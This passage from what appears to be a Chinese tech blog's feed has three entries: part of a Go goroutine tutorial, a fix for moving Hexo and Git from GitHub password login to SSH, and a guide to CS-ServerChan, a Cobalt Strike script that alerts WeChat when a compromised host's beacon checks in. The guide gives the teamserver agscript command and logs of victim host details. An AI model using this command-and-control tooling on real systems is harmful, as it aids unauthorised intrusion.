class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">c1 := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line">c2 := <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">c1 &lt;- <span class="string">&quot;🐑&quot;</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">500</span>) <span class="comment">//每间隔0.5秒往c1的 Channel 里发送消息</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;()</span><br><span class="line"><span class="keyword">go</span> <span class="function"><span class="keyword">func</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line">c2 &lt;- <span class="string">&quot;🐮&quot;</span></span><br><span class="line">time.Sleep(time.Millisecond * <span class="number">2000</span>) <span class="comment">//每间隔2秒往c2的 Channel 里发送消息</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;()</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line"><span class="keyword">select</span> &#123;</span><br><span class="line"><span class="keyword">case</span> msg := &lt;-c1:</span><br><span class="line">fmt.Println(msg)</span><br><span class="line"><span class="keyword">case</span> msg := &lt;-c2:</span><br><span class="line">fmt.Println(msg)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样就成功不阻塞地对多个 Channel 进行了管理： </p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731162548.png" alt="image-20210731162548361"></p><h1 id="多线程并发对文件进行递归搜索"><a href="#多线程并发对文件进行递归搜索" class="headerlink" title="多线程并发对文件进行递归搜索"></a>多线程并发对文件进行递归搜索</h1><h2 id="基础版"><a href="#基础版" class="headerlink" title="基础版"></a>基础版</h2><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;io/ioutil&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> query = <span class="string">&quot;.DS_Store&quot;</span></span><br><span class="line"><span class="keyword">var</span> matches <span class="keyword">int</span> <span class="comment">//定义一个计数器</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">start := time.Now() <span class="comment">//记录当前时间</span></span><br><span class="line">search(<span class="string">&quot;/Users/lintstar/Tools/&quot;</span>)</span><br><span class="line">fmt.Println(matches, <span class="string">&quot;matches&quot;</span>)</span><br><span class="line">fmt.Println(time.Since(start))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">search</span><span class="params">(path <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">files, err := ioutil.ReadDir(path) <span class="comment">//首先看一下当前路径有什么文件或者文件夹</span></span><br><span class="line"><span class="keyword">if</span> err == <span class="literal">nil</span> &#123;                    <span class="comment">//没有错误的话进行循环</span></span><br><span class="line"><span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">name := file.Name()</span><br><span class="line"><span class="keyword">if</span> name == query &#123;</span><br><span class="line">matches++</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> file.IsDir() &#123; <span class="comment">//如果是文件夹的话进行递归搜索</span></span><br><span class="line">search(path + name + <span class="string">&quot;/&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ go run main.go</span><br><span class="line">405 matches</span><br><span class="line">12.765213877s</span><br></pre></td></tr></table></figure><h3 id="搜索并输出当前-DS-Store-文件路径"><a href="#搜索并输出当前-DS-Store-文件路径" class="headerlink" title="搜索并输出当前 .DS_Store 文件路径"></a>搜索并输出当前 <code>.DS_Store</code> 文件路径</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;io/ioutil&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> query = <span class="string">&quot;.DS_Store&quot;</span></span><br><span class="line"><span class="keyword">var</span> matches <span class="keyword">int</span> <span class="comment">//定义一个计数器</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">start := time.Now() <span class="comment">//记录当前时间</span></span><br><span class="line">search(<span class="string">&quot;/Users/lintstar/Xstark/&quot;</span>)</span><br><span class="line">fmt.Println(matches, <span class="string">&quot;matches&quot;</span>)</span><br><span class="line">fmt.Println(time.Since(start))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">search</span><span class="params">(path <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">files, err := ioutil.ReadDir(path) <span class="comment">//首先看一下当前路径有什么文件或者文件夹</span></span><br><span class="line"><span class="keyword">if</span> err == <span class="literal">nil</span> &#123;                    <span class="comment">//没有错误的话进行循环</span></span><br><span class="line"><span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">name := file.Name()</span><br><span class="line"><span class="keyword">if</span> name == query &#123;</span><br><span class="line">matches++</span><br><span class="line">fmt.Println(path + name)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> file.IsDir() &#123; <span class="comment">//如果是文件夹的话进行递归搜索</span></span><br><span class="line">search(path + name + <span class="string">&quot;/&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行结果：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ go run main.go</span><br><span class="line">/Users/lintstar/Xstark/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/.idea/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Scan/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Scan/sub/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Scan/sub/result/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Scan/vul/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Scan/vul/xray/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/XstarkCore/Tools/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/static/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/static/images/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/static/js/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/static/js/tools/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/templates/.DS_Store</span><br><span class="line">/Users/lintstar/Xstark/templates/tools/.DS_Store</span><br><span class="line">15 matches</span><br><span class="line">32.558533ms</span><br></pre></td></tr></table></figure><h2 id="Goroutine-版"><a href="#Goroutine-版" class="headerlink" title="Goroutine 版"></a>Goroutine 版</h2><p>我们对搜索顺序并没有要求 只要不漏搜和 结果没有误差就 OK</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">&quot;fmt&quot;</span></span><br><span class="line"><span class="string">&quot;io/ioutil&quot;</span></span><br><span class="line"><span class="string">&quot;time&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> query = <span class="string">&quot;.DS_Store&quot;</span></span><br><span class="line"><span class="keyword">var</span> matches <span class="keyword">int</span> <span class="comment">//定义一个计数器</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> workerCount = <span class="number">0</span>     <span class="comment">//定义👷🏻 数量</span></span><br><span class="line"><span class="keyword">var</span> maxWorkerCount = <span class="number">32</span> <span class="comment">//定义最大 👷🏻 数量</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> searchRequest = <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">string</span>) <span class="comment">//指派任务</span></span><br><span class="line"><span class="keyword">var</span> workerDone = <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">bool</span>)      <span class="comment">//任务完成</span></span><br><span class="line"><span class="keyword">var</span> foundMatch = <span class="built_in">make</span>(<span class="keyword">chan</span> <span class="keyword">bool</span>)      <span class="comment">//传输找到搜索结果的消息</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">start := time.Now() <span class="comment">//记录当前时间</span></span><br><span class="line">workerCount = <span class="number">1</span></span><br><span class="line"><span class="keyword">go</span> search(<span class="string">&quot;/Users/lintstar/Tools/&quot;</span>, <span class="literal">true</span>)</span><br><span class="line">waitForWorkers()</span><br><span class="line">fmt.Println(matches, <span class="string">&quot;matches&quot;</span>)</span><br><span class="line">fmt.Println(time.Since(start))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">waitForWorkers</span><span class="params">()</span></span> &#123;</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line"><span class="keyword">select</span> &#123;</span><br><span class="line"><span class="keyword">case</span> path := &lt;-searchRequest:</span><br><span class="line">workerCount++</span><br><span class="line"><span class="keyword">go</span> search(path, <span class="literal">true</span>)</span><br><span class="line"><span class="keyword">case</span> &lt;-workerDone:</span><br><span class="line">workerCount--</span><br><span class="line"><span class="keyword">if</span> workerCount == <span class="number">0</span> &#123;</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> &lt;-foundMatch:</span><br><span class="line">matches++</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">search</span><span class="params">(path <span class="keyword">string</span>, master <span class="keyword">bool</span>)</span></span> &#123; <span class="comment">//在 goroutine 运行时，结束告诉主函数运行完毕</span></span><br><span class="line">files, err := ioutil.ReadDir(path) <span class="comment">//首先看一下当前路径有什么文件或者文件夹</span></span><br><span class="line"><span class="keyword">if</span> err == <span class="literal">nil</span> &#123;                    <span class="comment">//没有错误的话进行循环</span></span><br><span class="line"><span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">name := file.Name()</span><br><span class="line"><span class="keyword">if</span> name == query &#123;</span><br><span class="line">foundMatch &lt;- <span class="literal">true</span> <span class="comment">//找到了就向这个 Channel 中喊话：我找到了！</span></span><br><span class="line">fmt.Println(path + name)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> file.IsDir() &#123; <span class="comment">//如果是文件夹的话进行递归搜索</span></span><br><span class="line"><span class="keyword">if</span> workerCount &lt; maxWorkerCount &#123; <span class="comment">//如果有空闲工人就请工头指派</span></span><br><span class="line">searchRequest &lt;- path + name + <span class="string">&quot;/&quot;</span></span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">search(path+name+<span class="string">&quot;/&quot;</span>, <span class="literal">false</span>)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> master &#123;</span><br><span class="line">workerDone &lt;- <span class="literal">true</span> <span class="comment">//如果是运行在 goroutine 里面的运行结束喊话：我干完了</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>406个匹配大约 1.8秒 是基础版12秒的大概 1/6</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210731191124.png" alt="image-20210731191124516"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Go-多并发能力&quot;&gt;&lt;a href=&quot;#Go-多并发能力&quot; class=&quot;headerlink&quot; title=&quot;Go 多并发能力&quot;&gt;&lt;/a&gt;Go 多并发能力&lt;/h1&gt;&lt;p&gt;&lt;img src= &quot;/img/loading.gif&quot; data-lazy-src=&quot;ht</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    
    <category term="Mac" scheme="https://www.lintstar.top/tags/Mac/"/>
    
    <category term="Golang" scheme="https://www.lintstar.top/tags/Golang/"/>
    
    <category term="Goroutine" scheme="https://www.lintstar.top/tags/Goroutine/"/>
    
  </entry>
  
  <entry>
    <title>关于 Github 不再支持命令行通过密码操作仓库的解决办法</title>
    <link href="https://www.lintstar.top/2021/08/4b8ee7df.html"/>
    <id>https://www.lintstar.top/2021/08/4b8ee7df.html</id>
    <published>2021-08-28T03:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>2021年 8 月 13 日之后，Github 移除了对密码身份验证的支持</p><p>如果仍然使用账户密码来操作 Github 上的仓库，就会收到如下警告：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816092243.png" alt="image-20210816092243010"></p><blockquote><p>正如消息所说，Github 希望我们开始使用个人访问令牌 (PAT) 而不是密码身份验证。如果没有提示输入用户名和密码，说明我们的凭据可能已缓存在计算机上。 可以在密钥链中更新我们的凭据，用令牌替换之前的旧密码。</p></blockquote><h1 id="hexo-d-报错"><a href="#hexo-d-报错" class="headerlink" title="hexo -d 报错"></a>hexo -d 报错</h1><p>今天在更新博客时发现无法提交到 Github 显示连接 SSL 连接失败：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816092118.png" alt="image-20210816092118343"></p><h1 id="Git-命令操作仓库"><a href="#Git-命令操作仓库" class="headerlink" title="Git 命令操作仓库"></a>Git 命令操作仓库</h1><p>找了一个项目进行测试</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816093254.png" alt="image-20210816093254672"></p><p>其实就是将连接方式改为 SSH</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">git remote -v</span><br><span class="line"></span><br><span class="line"><span class="comment"># 删除旧的连接方式</span></span><br><span class="line">git remote rm origin</span><br><span class="line"></span><br><span class="line"><span class="comment"># 切换 SSH 连接</span></span><br><span class="line">git remote add origin git@github.com:lintstar/Valine-Admin.git</span><br></pre></td></tr></table></figure><h1 id="Hexo-连接-Github"><a href="#Hexo-连接-Github" class="headerlink" title="Hexo 连接 Github"></a>Hexo 连接 Github</h1><p>可是博客的目录并不是一个仓库</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816101925.png" alt="image-20210816101925644"></p><p>网上查了一圈因为问题太新没有找到什么解决办法</p><p>特意回到去年的文章翻了一下Hexo 和 Github 连接的配置详情：</p><p><a href="https://www.lintstar.top/2020/10/779868c0.html#%E6%9C%AC%E5%9C%B0%E5%8D%9A%E5%AE%A2%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E8%87%B3-Github">本地博客文件上传至 Github</a></p><p>发现 博客根目录 hexo 的配置文件 <code>_config.yml</code> 是这样的：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816101646.png" alt="image-20210816101646384"></p><p>因此我们只需要把使用密码连接的 HTTPS 换成使用 SSH 密钥连接</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816101757.png" alt="image-20210816101757750"></p><p>就可以正常提交 Github 了：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210816101823.png" alt="image-20210816101823678"></p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><p><a href="https://docs.github.com/cn/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token">Github 创建个人访问令牌</a></p></li><li><p><a href="https://docs.github.com/en/github/authenticating-to-github/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account">将新的 SSH 密钥添加到您的 GitHub 帐户</a></p></li><li><p><a href="https://whatibroke.com/2021/08/14/support-for-password-authentication-was-removed-on-august-13-2021-please-use-a-personal-access-token-instead-fix-for-mac/">Support for password authentication was removed on August 13, 2021. Fix for Mac</a></p></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h1&gt;&lt;p&gt;2021年 8 月 13 日之后，Github 移除了对密码身份验证的支持&lt;/p&gt;
&lt;p&gt;如果仍然使用账户密码来操作 Github 上的仓库</summary>
      
    
    
    
    <category term="Blog" scheme="https://www.lintstar.top/categories/Blog/"/>
    
    
    <category term="Hexo" scheme="https://www.lintstar.top/tags/Hexo/"/>
    
    <category term="Mac" scheme="https://www.lintstar.top/tags/Mac/"/>
    
    <category term="Github" scheme="https://www.lintstar.top/tags/Github/"/>
    
  </entry>
  
  <entry>
    <title>CS-ServerChan 主机上线微信通知</title>
    <link href="https://www.lintstar.top/2021/07/e65fcded.html"/>
    <id>https://www.lintstar.top/2021/07/e65fcded.html</id>
    <published>2021-07-28T03:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="CS-ServerChan"><a href="#CS-ServerChan" class="headerlink" title="CS-ServerChan"></a>CS-ServerChan</h1><p><strong>通过 CobaltStike 服务端 / 客户端 挂载脚本，将上线主机信息通过 Server 酱通知到微信</strong></p><p><strong>项目地址：<a href="https://github.com/lintstar/CS-ServerChan/releases">https://github.com/lintstar/CS-ServerChan/releases</a></strong></p><blockquote><p><strong>如果想使用免费且支持微信模板消息推送的方式可以移步：<a href="https://github.com/lintstar/CS-PushPlus">https://github.com/lintstar/CS-PushPlus</a></strong></p></blockquote><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>使用旧的 CS Server酱通知脚本时看到了 ServerChan 关于旧版服务 API 下线的通知：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728110826.png" alt="Screenshot_20210728_110540_com.tencent.mm"></p><p><strong>那就更新下 sendkey 吧</strong></p><h1 id="配置相关信息"><a href="#配置相关信息" class="headerlink" title="配置相关信息"></a>配置相关信息</h1><p><strong>脚本有两个地方需要替换：</strong></p><h2 id="ServerChan-py"><a href="#ServerChan-py" class="headerlink" title="ServerChan.py"></a>ServerChan.py</h2><p><strong><a href="https://sct.ftqq.com/sendkey">https://sct.ftqq.com/sendkey</a>  复制自己的 KEY 替换到下面的地方</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728111654.png" alt="image-20210728111654791"></p><p>这里的通知模板支持 Markdown 格式可以随意替换</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728111816.png" alt="image-20210728111816041"></p><blockquote><p><strong>这里加 Token随机数的原因是Server 酱一分钟内无法发送重复信息</strong></p></blockquote><h2 id="ServerChan-cna"><a href="#ServerChan-cna" class="headerlink" title="ServerChan.cna"></a>ServerChan.cna</h2><p><strong>在客户端或者服务端后台挂载时，需要改成 <code>ServerChan.py</code> Python 脚本所在的绝对路径（从盘符开始）</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728111409.png" alt="image-20210728111409394"></p><p><strong>通过 CobaltStike 服务端 / 客户端 挂载脚本，将上线主机信息通过 Server 酱通知到微信</strong></p><h1 id="服务端后台挂载"><a href="#服务端后台挂载" class="headerlink" title="服务端后台挂载"></a>服务端后台挂载</h1><p><strong>把 cna 脚本添加到本地客户端后，如果beacon上线了，这个提醒的请求是从客户端发出的。</strong></p><p><strong>如果网络有波动，断开了到 teamserver 的连接，就收不到通知了。</strong></p><p><strong>解决方法是使用 agscript 在服务器端运行cna文件，和挂载 CobaltStrike 一样，把 cna 脚本也挂载到后台：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[root@Catherine CS4.3]<span class="comment"># screen</span></span><br><span class="line">[root@Catherine CS4.3]<span class="comment"># ./agscript xx.xxx.xx.xxx [port] Catherine [passwd] CS-ServerChan/ServerChan.cna</span></span><br><span class="line">Initial Beacon Checkin: 2122252342 PID: 3488</span><br><span class="line">Sending server: python3 /root/Tools/CS4.3/CS-SeverChan/ServerChan.py --computernam LINTSTAR82CF --internalip 10.xx.xx.15 --username lintstar</span><br></pre></td></tr></table></figure><p><strong>挂载后查看进程：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[root@Catherine ~]<span class="comment"># ps -a</span></span><br><span class="line">    PID TTY          TIME CMD</span><br><span class="line">1045504 pts/0    00:00:00 teamserver</span><br><span class="line">1045507 pts/0    00:00:12 java</span><br><span class="line">1049085 pts/4    00:00:00 bash</span><br><span class="line">1049086 pts/4    00:00:08 java</span><br><span class="line">1055932 pts/7    00:00:00 ps</span><br></pre></td></tr></table></figure><h2 id="Agscript-用法"><a href="#Agscript-用法" class="headerlink" title="Agscript 用法"></a>Agscript 用法</h2><p><strong>这里 agscript 的用法为：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./agscript [host] [port] [user] [pass] &lt;/path/to/file.cna&gt;</span><br></pre></td></tr></table></figure><ul><li><strong>[host] # 服务器的 ip 地址。</strong></li><li><strong>[port] # cs 的端口号，启动 cs 时有显示。</strong></li><li><strong>[user] # 后台挂载脚本时连接到 teamserver 的用户名。</strong></li><li><strong>[pass] # 启动服务端 cs 时设置的密码。</strong></li><li><strong>[path] # cna 文件的路径。</strong></li></ul><h1 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h1><h2 id="企业微信服务号通知"><a href="#企业微信服务号通知" class="headerlink" title="企业微信服务号通知"></a>企业微信服务号通知</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728112709.png" alt="Screenshot_20210728_103739_com.tencent.mm"></p><h2 id="通知详情"><a href="#通知详情" class="headerlink" title="通知详情"></a>通知详情</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728112550.png" alt="Screenshot_20210728_103809_com.tencent.mm"></p><h1 id="企业微信应用消息配置说明"><a href="#企业微信应用消息配置说明" class="headerlink" title="企业微信应用消息配置说明"></a>企业微信应用消息配置说明</h1><blockquote><p><strong>来源：<a href="https://sct.ftqq.com/forward">https://sct.ftqq.com/forward</a></strong></p></blockquote><p><strong>优点：</strong></p><ol><li><strong>一次配置，持续使用</strong></li><li><strong>配置好以后，只需要微信就能收消息，不再需要安装企业微信客户端</strong></li></ol><p><strong>PS：消息接口无需认证即可使用，个人用微信就可以注册</strong></p><h2 id="0x01-注册企业"><a href="#0x01-注册企业" class="headerlink" title="0x01 注册企业"></a>0x01 注册企业</h2><p>用电脑打开<a href="https://work.weixin.qq.com/">企业微信官网</a>，注册一个企业</p><h2 id="0x02-创建应用"><a href="#0x02-创建应用" class="headerlink" title="0x02 创建应用"></a>0x02 创建应用</h2><p>注册成功后，点「管理企业」进入管理界面，选择「应用管理」 → 「自建」 → 「创建应用」</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728113134.png" alt="img"></p><p>应用名称填入「Server酱」，应用logo到<a href="https://theseven.ftqq.com/20210208142819.png">这里</a>下载，可见范围选择公司名。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210728113157.png" alt="img"></p><p>创建完成后进入应用详情页，可以得到应用ID( <code>agentid</code> )①，应用Secret( <code>secret</code> )②。</p><p>注意：<code>secret</code>推送到手机端时，只能在<code>企业微信客户端</code>中查看。</p><p><a href="https://camo.githubusercontent.com/ec3ddd2dd460680f9fc61acc8a1bd215fcb947608102764539c4ce43bc1e0f26/68747470733a2f2f746865736576656e2e667471712e636f6d2f32303231303230383134333535332e706e67"><img src= "/img/loading.gif" data-lazy-src="https://camo.githubusercontent.com/ec3ddd2dd460680f9fc61acc8a1bd215fcb947608102764539c4ce43bc1e0f26/68747470733a2f2f746865736576656e2e667471712e636f6d2f32303231303230383134333535332e706e67" alt="img"></a></p><h2 id="0x03-获取企业ID"><a href="#0x03-获取企业ID" class="headerlink" title="0x03 获取企业ID"></a>0x03 获取企业ID</h2><p>进入「<a href="https://work.weixin.qq.com/wework_admin/frame#profile">我的企业</a>」页面，拉到最下边，可以看到企业ID③，复制并填到上方。</p><p>推送UID直接填 <code>@all</code> ，推送给公司全员。</p><h2 id="0x04-推送消息到微信"><a href="#0x04-推送消息到微信" class="headerlink" title="0x04 推送消息到微信"></a>0x04 